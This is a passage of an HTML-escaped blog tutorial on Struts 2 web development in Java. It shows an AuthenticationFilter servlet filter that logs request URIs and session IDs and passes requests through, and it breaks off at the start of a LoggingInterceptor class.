&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt; mso-highlight: silver;&quot;&gt;beans&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;Now wrapping up everything with an AuthenticationFilter and how to write a custom filter that we have just mentioned in our web.xml&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;AuthenticationFilter.java&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.filter;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.io.IOException;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.HashSet;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  java.util.StringTokenizer;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.Filter;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.FilterChain;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.FilterConfig;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.RequestDispatcher;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.ServletException;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.ServletRequest;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import javax.servlet.ServletResponse;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.http.HttpServletRequest;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  javax.servlet.http.HttpServletResponse;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  org.apache.log4j.Logger;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  AuthenticationFilter implements Filter&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static Logger logger = Logger.getLogger(
  AuthenticationFilter.class );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private HashSet&amp;lt;String&amp;gt;
  insecurePages = null;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void init( FilterConfig config )
  throws ServletException&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; System.out.println(
  &quot;PUBLIC Authentication Fileter Started.&quot; );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;logger.info( &quot;PUBLIC Authentication
  Fileter Started.&quot; );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String strInsecurePages =
  config.getInitParameter( &quot;insecurePages&quot; );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; StringTokenizer tokenizer = new
  StringTokenizer( strInsecurePages, &quot;,&quot;, false );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; insecurePages = new
  HashSet&amp;lt;String&amp;gt;( tokenizer.countTokens() );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while ( tokenizer.hasMoreTokens() )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; insecurePages.add(
  tokenizer.nextToken().trim() );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; logger.info( &quot;PUBLIC
  Authentication Fileter Started.&quot; );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void doFilter( ServletRequest
  request, ServletResponse response, FilterChain chain )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; throws IOException,
  ServletException&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( request instanceof
  HttpServletRequest )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;Request
  Servlet Request&quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HttpServletRequest req =
  (HttpServletRequest) request;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HttpServletResponse res =
  (HttpServletResponse) response;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; logger.info( &quot;Request
  received: &quot; + req.getRequestURI()&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;+ &quot; from user with session id: &quot; +
  req.getRequestedSessionId() );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chain.doFilter( request, response );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void destroy()&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; insecurePages = null;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 6.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;







&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;And our basic Interceptor that we have just to calculate the time of our action request.&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;LoggingInterceptor.java&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;package
  com.test.lab.interceptor;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.opensymphony.xwork2.ActionInvocation;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;import
  com.opensymphony.xwork2.interceptor.Interceptor;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public class
  LoggingInterceptor implements Interceptor{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static final long
  serialVersionUID = 1L;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String intercept(ActionInvocation
